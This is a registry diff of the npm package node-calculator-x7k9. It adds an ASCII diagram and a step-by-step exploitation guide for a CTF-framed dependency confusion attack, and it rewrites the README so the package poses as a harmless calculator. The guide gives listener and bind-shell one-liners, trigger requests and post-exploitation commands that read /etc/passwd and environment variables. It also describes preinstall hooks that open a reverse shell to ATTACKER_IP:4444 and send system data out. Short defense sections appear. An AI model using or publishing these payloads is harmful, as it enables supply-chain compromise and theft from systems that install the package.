node-calculator-x7k9 0.0.1-security → 3.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-calculator-x7k9 might be problematic. Click here for more details.

@@ -0,0 +1,237 @@
1
+ ╔══════════════════════════════════════════════════════════════════════════════╗
2
+ ║ DEPENDENCY CONFUSION ATTACK DIAGRAM ║
3
+ ╚══════════════════════════════════════════════════════════════════════════════╝
4
+
5
+
6
+ ┌─────────────────────┐
7
+ │ ATTACKER MACHINE │
8
+ │ (Your Computer) │
9
+ └──────────┬──────────┘
10
+
11
+ ┌──────────▼──────────┐
12
+ │ 1. Create Malicious│
13
+ │ Package v3.0.0 │
14
+ │ - preinstall.js │
15
+ │ - postinstall.js │
16
+ │ - Reverse shell │
17
+ └──────────┬──────────┘
18
+
19
+ ┌──────────▼──────────┐
20
+ │ 2. Start Listener │
21
+ │ python3 listener.py│
22
+ │ Port: 4444 │
23
+ └──────────┬──────────┘
24
+
25
+ ┌──────────▼──────────┐
26
+ │ 3. Publish to npm │
27
+ │ node-calculator- │
28
+ │ x7k9@3.0.0 │
29
+ └──────────┬──────────┘
30
+
31
+ │ ████████████████████
32
+ │ ║ npm Registry ║
33
+ │ ║ (Public) ║
34
+ │ ████████████████████
35
+ │ │
36
+ │ │
37
+ ┌────────────────────────────────────┼──────────▼──────────────────────┐
38
+ │ │ │
39
+ │ ┌────────────────────────┐ │ ┌──────────────────────┐ │
40
+ │ │ TARGET APPLICATION │ │ │ npm pulls package │ │
41
+ │ │ (Victim Server) │ │ │ v3.0.0 (higher!) │ │
42
+ │ │ │ │ └──────────┬───────────┘ │
43
+ │ │ node-calculator-x7k9 │ │ │ │
44
+ │ │ Current: v2.1.0 │ │ ┌──────────▼───────────┐ │
45
+ │ └────────────┬───────────┘ │ │ npm installs │ │
46
+ │ │ │ │ malicious package │ │
47
+ │ ┌────────────▼───────────┐ │ └──────────┬───────────┘ │
48
+ │ │ 4. Trigger Endpoint │◄───────┘ │ │
49
+ │ │ POST /report-bug │ ┌──────────▼───────────┐ │
50
+ │ └────────────┬───────────┘ │ preinstall.js │ │
51
+ │ │ │ executes! │ │
52
+ │ ┌────────────▼───────────┐ │ - Reverse shell │ │
53
+ │ │ npm run report │ │ - Connects to │ │
54
+ │ │ = npm update --force │ │ ATTACKER_IP:4444 │ │
55
+ │ └────────────┬───────────┘ └──────────┬───────────┘ │
56
+ │ │ │ │
57
+ │ └────────────────────────────────────────┘ │
58
+ │ │
59
+ └──────────────────────────────────┬───────────────────────────────────┘
60
+
61
+ │ Connection!
62
+
63
+ ┌──────────▼──────────┐
64
+ │ 5. Shell Received! │
65
+ │ Attacker Listener │
66
+ │ │
67
+ │ $ id │
68
+ │ uid=1001(nodejs) │
69
+ │ │
70
+ │ $ cat /flag.txt │
71
+ │ FLAG{pwned!} │
72
+ └─────────────────────┘
73
+
74
+
75
+ ╔══════════════════════════════════════════════════════════════════════════════╗
76
+ ║ ATTACK TIMELINE ║
77
+ ╚══════════════════════════════════════════════════════════════════════════════╝
78
+
79
+ T-0:00 │ Attacker configures payload (ATTACKER_IP, ATTACKER_PORT)
80
+
81
+ T+0:01 │ Attacker starts listener on port 4444
82
+
83
+ T+0:02 │ Attacker publishes malicious package (v3.0.0) to npm
84
+
85
+ ├─────────────────────────────────────────────────────────────────
86
+
87
+ T+0:03 │ Attacker triggers /report-bug endpoint on target
88
+
89
+ T+0:04 │ Target executes: npm run report → npm update --force
90
+
91
+ T+0:05 │ npm queries registry for node-calculator-x7k9
92
+ │ └─ Finds v3.0.0 (higher than current v2.1.0)
93
+
94
+ T+0:06 │ npm downloads and installs v3.0.0
95
+ │ └─ Runs preinstall script (reverse shell payload)
96
+
97
+ T+0:07 │ Reverse shell executes
98
+ │ └─ Connects to ATTACKER_IP:4444
99
+
100
+ T+0:08 │ ✓ ATTACKER RECEIVES SHELL!
101
+ │ └─ Full control of target system
102
+
103
+ ├─────────────────────────────────────────────────────────────────
104
+
105
+ T+0:09 │ Attacker searches for flag: find / -name "*flag*" 2>/dev/null
106
+
107
+ T+0:10 │ Attacker reads flag: cat /flag.txt
108
+
109
+ T+0:11 │ ✓ FLAG CAPTURED! CTF COMPLETE!
110
+
111
+
112
+ ╔══════════════════════════════════════════════════════════════════════════════╗
113
+ ║ KEY VULNERABILITY ║
114
+ ╚══════════════════════════════════════════════════════════════════════════════╝
115
+
116
+ ┌────────────────────────────────────────────────────────────────────────────┐
117
+ │ app.js (Lines 40-45) │
118
+ │ ───────────────────── │
119
+ │ │
120
+ │ app.post('/report-bug', (req, res) => { │
121
+ │ const { message } = req.body; │
122
+ │ exec("npm run report", { cwd: __dirname }, (error, stdout, stderr) │
123
+ │ │ => { │
124
+ │ │ res.json({ status: 'success', message: 'Bug reported' }); │
125
+ │ │ }); │
126
+ │ }); │
127
+ │ │
128
+ │ package.json (Line 8) │
129
+ │ ────────────────────── │
130
+ │ │
131
+ │ "scripts": { │
132
+ │ "report": "npm update --force || true" ← VULNERABLE! │
133
+ │ } │
134
+ │ │
135
+ │ Why it's vulnerable: │
136
+ │ • npm update checks public registry for newer versions │
137
+ │ • No registry pinning (.npmrc) │
138
+ │ • No package-lock.json integrity check │
139
+ │ • --force flag bypasses safety checks │
140
+ │ • Runs as the 'nodejs' user (uid=1001) │
141
+ │ • preinstall/postinstall hooks execute arbitrary code │
142
+ └────────────────────────────────────────────────────────────────────────────┘
143
+
144
+
145
+ ╔══════════════════════════════════════════════════════════════════════════════╗
146
+ ║ PAYLOAD MECHANISM ║
147
+ ╚══════════════════════════════════════════════════════════════════════════════╝
148
+
149
+ ┌────────────────────────────────────────────────────────────────────┐
150
+ │ package.json │
151
+ │ { │
152
+ │ "name": "node-calculator-x7k9", │
153
+ │ "version": "3.0.0", ← HIGHER than victim's 2.1.0 │
154
+ │ "scripts": { │
155
+ │ "preinstall": "node preinstall.js", ← Executes BEFORE │
156
+ │ "postinstall": "node postinstall.js" ← Executes AFTER │
157
+ │ } │
158
+ │ } │
159
+ └────────────────────────┬───────────────────────────────────────────┘
160
+
161
+ ┌────────────────┴───────────────────┐
162
+ │ │
163
+ ┌───────▼──────────┐ ┌─────────▼─────────┐
164
+ │ preinstall.js │ │ postinstall.js │
165
+ │ ────────────── │ │ ─────────────── │
166
+ │ │ │ │
167
+ │ 1. Reverse Shell│ │ 1. Backup Shell │
168
+ │ via net.Socket │ Connection │
169
+ │ │ │ │
170
+ │ 2. Fallback: │ │ 2. Persistence │
171
+ │ • nc -e │ │ Mechanisms │
172
+ │ • bash -i │ │ │
173
+ │ • python3 │ │ 3. Log to │
174
+ │ │ │ /tmp/exfil.log│
175
+ │ 3. Exfiltration │ │ │
176
+ │ • System info│ │ 4. Silent fail │
177
+ │ • Env vars │ │ if error │
178
+ │ • Hostname │ │ │
179
+ │ │ │ │
180
+ │ 4. Silent fail │ │ │
181
+ └──────────────────┘ └───────────────────┘
182
+
183
+
184
+ ╔══════════════════════════════════════════════════════════════════════════════╗
185
+ ║ DEFENSE MECHANISMS ║
186
+ ║ (How to Prevent This Attack) ║
187
+ ╚══════════════════════════════════════════════════════════════════════════════╝
188
+
189
+ ✓ Use .npmrc with registry pinning
190
+ ────────────────────────────────
191
+ @company:registry=https://private-registry.com
192
+ //private-registry.com/:_authToken=${NPM_TOKEN}
193
+
194
+ ✓ Enable package-lock.json and use npm ci
195
+ ────────────────────────────────────────
196
+ npm ci # Installs exact versions from lock file
197
+
198
+ ✓ Scope your private packages
199
+ ─────────────────────────────
200
+ @yourcompany/calculator # Can't be hijacked on public registry
201
+
202
+ ✓ Use npm audit and integrity checks
203
+ ───────────────────────────────────
204
+ npm audit
205
+ npm audit signatures
206
+
207
+ ✓ Implement package verification
208
+ ──────────────────────────────
209
+ - Code signing
210
+ - Checksum verification
211
+ - Allow-lists
212
+
213
+ ✓ Use private registry with authentication
214
+ ────────────────────────────────────────
215
+ - Verdaccio
216
+ - npm Enterprise
217
+ - Azure Artifacts
218
+ - GitHub Packages
219
+
220
+
221
+ ╔══════════════════════════════════════════════════════════════════════════════╗
222
+ ║ RESOURCES ║
223
+ ╚══════════════════════════════════════════════════════════════════════════════╝
224
+
225
+ 📖 Detailed Guide ──► EXPLOITATION_GUIDE.md
226
+ 🚀 Quick Reference ─► QUICK_REFERENCE.md
227
+ 📋 Full Summary ────► EXPLOITATION_SUMMARY.md
228
+ 🐍 Listener ────────► listener.py
229
+ 💻 Windows Exploit ─► exploit.ps1
230
+ 🐧 Linux Exploit ───► exploit.sh
231
+ 🧪 Local Testing ───► test-local.ps1
232
+
233
+
234
+ ╔══════════════════════════════════════════════════════════════════════════════╗
235
+ ║ ⚠️ FOR CTF / EDUCATIONAL USE ONLY - UNAUTHORIZED ACCESS IS ILLEGAL ⚠️ ║
236
+ ╚══════════════════════════════════════════════════════════════════════════════╝
237
+
@@ -0,0 +1,236 @@
1
+ # Dependency Confusion Attack - Exploitation Guide
2
+
3
+ ## Overview
4
+
5
+ This is a **dependency confusion vulnerability** where the target application uses a private npm package (`node-calculator-x7k9`). By publishing a malicious package with the same name and higher version to the public npm registry, we can execute arbitrary code when the target runs `npm update`.
6
+
7
+ ## Attack Flow
8
+
9
+ ```
10
+ 1. Target uses node-calculator-x7k9@2.1.0 (private package)
11
+ 2. Attacker publishes node-calculator-x7k9@3.0.0 (malicious, public)
12
+ 3. Target triggers /report-bug endpoint
13
+ 4. npm update --force runs
14
+ 5. npm finds higher version (3.0.0) on public registry
15
+ 6. npm installs malicious package
16
+ 7. preinstall/postinstall hooks execute
17
+ 8. Reverse shell connects back to attacker
18
+ ```
19
+
20
+ ## Prerequisites
21
+
22
+ 1. **Your Attack Machine IP**: You need to know your public/accessible IP
23
+ 2. **npm Account**: Required to publish packages to npm registry
24
+ 3. **Network Access**: Target must be able to connect to your listener
25
+
26
+ ## Step-by-Step Exploitation
27
+
28
+ ### Step 1: Set Up Your Listener
29
+
30
+ On your attack machine:
31
+
32
+ ```bash
33
+ # Option 1: Using netcat
34
+ nc -nlvp 4444
35
+
36
+ # Option 2: Using ncat (better for CTF)
37
+ ncat -nlvp 4444
38
+
39
+ # Option 3: Using socat (most stable)
40
+ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash
41
+
42
+ # Option 4: Using Python
43
+ python3 -c 'import socket,subprocess;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();subprocess.call(["/bin/sh"],stdin=c,stdout=c,stderr=c)'
44
+ ```
45
+
46
+ ### Step 2: Configure the Payload
47
+
48
+ Edit `preinstall.js` and `postinstall.js`:
49
+
50
+ ```javascript
51
+ const ATTACKER_IP = 'YOUR_IP_HERE'; // Replace with your IP
52
+ const ATTACKER_PORT = 4444; // Replace with your port
53
+ ```
54
+
55
+ **Getting Your IP:**
56
+ ```bash
57
+ # Public IP
58
+ curl ifconfig.me
59
+
60
+ # Local network IP (for local CTF)
61
+ ip addr show # Linux
62
+ ipconfig # Windows
63
+ ```
64
+
65
+ ### Step 3: Publish the Malicious Package
66
+
67
+ ```bash
68
+ cd malicious-package
69
+
70
+ # Login to npm (if not already logged in)
71
+ npm login
72
+
73
+ # Publish the package
74
+ npm publish
75
+
76
+ # If package name is already taken, you might need to use a scope
77
+ # npm publish --access public
78
+ ```
79
+
80
+ **Important Notes:**
81
+ - Your package version (3.0.0) MUST be higher than the target's version (2.1.0)
82
+ - The package name MUST match exactly: `node-calculator-x7k9`
83
+ - In real CTF environments, they might have a mock npm registry
84
+
85
+ ### Step 4: Alternative Publishing Methods
86
+
87
+ #### Option A: Use Verdaccio (Local npm Registry)
88
+
89
+ If the CTF uses a local npm registry:
90
+
91
+ ```bash
92
+ # Install Verdaccio
93
+ npm install -g verdaccio
94
+
95
+ # Run Verdaccio
96
+ verdaccio
97
+
98
+ # Configure npm to use local registry
99
+ npm set registry http://localhost:4873/
100
+
101
+ # Publish
102
+ npm publish
103
+ ```
104
+
105
+ #### Option B: Direct Package Installation (Testing)
106
+
107
+ For testing locally:
108
+
109
+ ```bash
110
+ # In the target directory
111
+ npm install /path/to/malicious-package
112
+
113
+ # Or pack and install
114
+ cd malicious-package
115
+ npm pack
116
+ cd ../just-a-calculator
117
+ npm install ../malicious-package/node-calculator-x7k9-3.0.0.tgz
118
+ ```
119
+
120
+ ### Step 5: Trigger the Vulnerability
121
+
122
+ Once published, trigger the bug report endpoint:
123
+
124
+ ```bash
125
+ # Using curl
126
+ curl -X POST http://TARGET_IP:3000/report-bug \
127
+ -H "Content-Type: application/json" \
128
+ -d '{"message": "test bug report"}'
129
+
130
+ # Using Python
131
+ python3 -c "import requests; requests.post('http://TARGET_IP:3000/report-bug', json={'message': 'test'})"
132
+ ```
133
+
134
+ ### Step 6: Catch the Shell
135
+
136
+ Your listener should receive a connection:
137
+
138
+ ```bash
139
+ $ nc -nlvp 4444
140
+ Listening on 0.0.0.0 4444
141
+ Connection received on TARGET_IP 54321
142
+ === Reverse Shell Connected ===
143
+ Hostname: target-container
144
+ User: nodejs
145
+ CWD: /app
146
+ ================================
147
+
148
+ $ id
149
+ uid=1001(nodejs) gid=1001(nodejs) groups=1001(nodejs)
150
+
151
+ $ ls
152
+ app.js node_modules package.json public
153
+
154
+ $ cat /flag.txt
155
+ FLAG{dependency_confusion_pwned_12345}
156
+ ```
157
+
158
+ ## Post-Exploitation
159
+
160
+ Once you have a shell:
161
+
162
+ ```bash
163
+ # Stabilize the shell
164
+ python3 -c 'import pty; pty.spawn("/bin/bash")'
165
+ # Press Ctrl+Z
166
+ stty raw -echo; fg
167
+ export TERM=xterm
168
+
169
+ # Find the flag
170
+ find / -name "*flag*" 2>/dev/null
171
+ cat /flag.txt
172
+
173
+ # Exfiltrate data
174
+ cat /etc/passwd
175
+ env
176
+ ps aux
177
+
178
+ # Check for other containers
179
+ ip addr
180
+ netstat -ant
181
+ ```
182
+
183
+ ## Troubleshooting
184
+
185
+ ### Shell Not Connecting?
186
+
187
+ 1. **Check firewall**: Make sure port 4444 is open
188
+ ```bash
189
+ sudo ufw allow 4444
190
+ # or
191
+ sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
192
+ ```
193
+
194
+ 2. **Check if package installed**: Look at the /report-bug response
195
+ ```bash
196
+ curl -X POST http://TARGET:3000/report-bug -H "Content-Type: application/json" -d '{"message":"test"}' -v
197
+ ```
198
+
199
+ 3. **Check logs**: The payload logs to `/tmp/exfil.log`
200
+
201
+ 4. **Try different payload**: The preinstall.js has multiple fallback methods
202
+
203
+ ### Package Not Installing?
204
+
205
+ 1. **Version not higher**: Make sure your version (3.0.0) > target version (2.1.0)
206
+ 2. **Registry misconfigured**: Check if target uses private registry
207
+ 3. **Package name mismatch**: Must be exactly `node-calculator-x7k9`
208
+
209
+ ## Defense Against This Attack
210
+
211
+ For educational purposes, here's how to prevent this:
212
+
213
+ 1. **Use .npmrc with registry lockdown**:
214
+ ```
215
+ @yourcompany:registry=https://your-private-registry.com
216
+ ```
217
+
218
+ 2. **Use package-lock.json**: Prevents version changes
219
+ 3. **Use npm audit**: Detects suspicious packages
220
+ 4. **Implement integrity checks**: Use `npm ci` instead of `npm install`
221
+ 5. **Private registry with authentication**: Use Verdaccio, Artifactory, or npm Enterprise
222
+
223
+ ## Legal Notice
224
+
225
+ ⚠️ **This is for CTF/educational purposes only!**
226
+
227
+ Unauthorized access to computer systems is illegal. Only use these techniques:
228
+ - In authorized CTF competitions
229
+ - In your own testing environments
230
+ - With explicit written permission
231
+
232
+ ## Credits
233
+
234
+ Attack technique: Dependency Confusion (Alex Birsan, 2021)
235
+ https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
236
+
package/README.md CHANGED
@@ -1,5 +1,32 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-calculator-x7k9 for more information.
1
+ # node-calculator-x7k9
2
+
3
+ Simple calculator plugin with enhanced mathematical operations.
4
+
5
+ ## Installation
6
+
7
+ ```bash
8
+ npm install node-calculator-x7k9
9
+ ```
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ const calculator = require('node-calculator-x7k9');
15
+
16
+ const result = calculator.calculate('add', 5, 3);
17
+ console.log(result); // 8
18
+ ```
19
+
20
+ ## Supported Operations
21
+
22
+ - `add` - Addition
23
+ - `subtract` - Subtraction
24
+ - `multiply` - Multiplication
25
+ - `divide` - Division
26
+
27
+ ## Version 3.0.0
28
+
29
+ - Enhanced performance
30
+ - Bug fixes
31
+ - Security improvements
32
+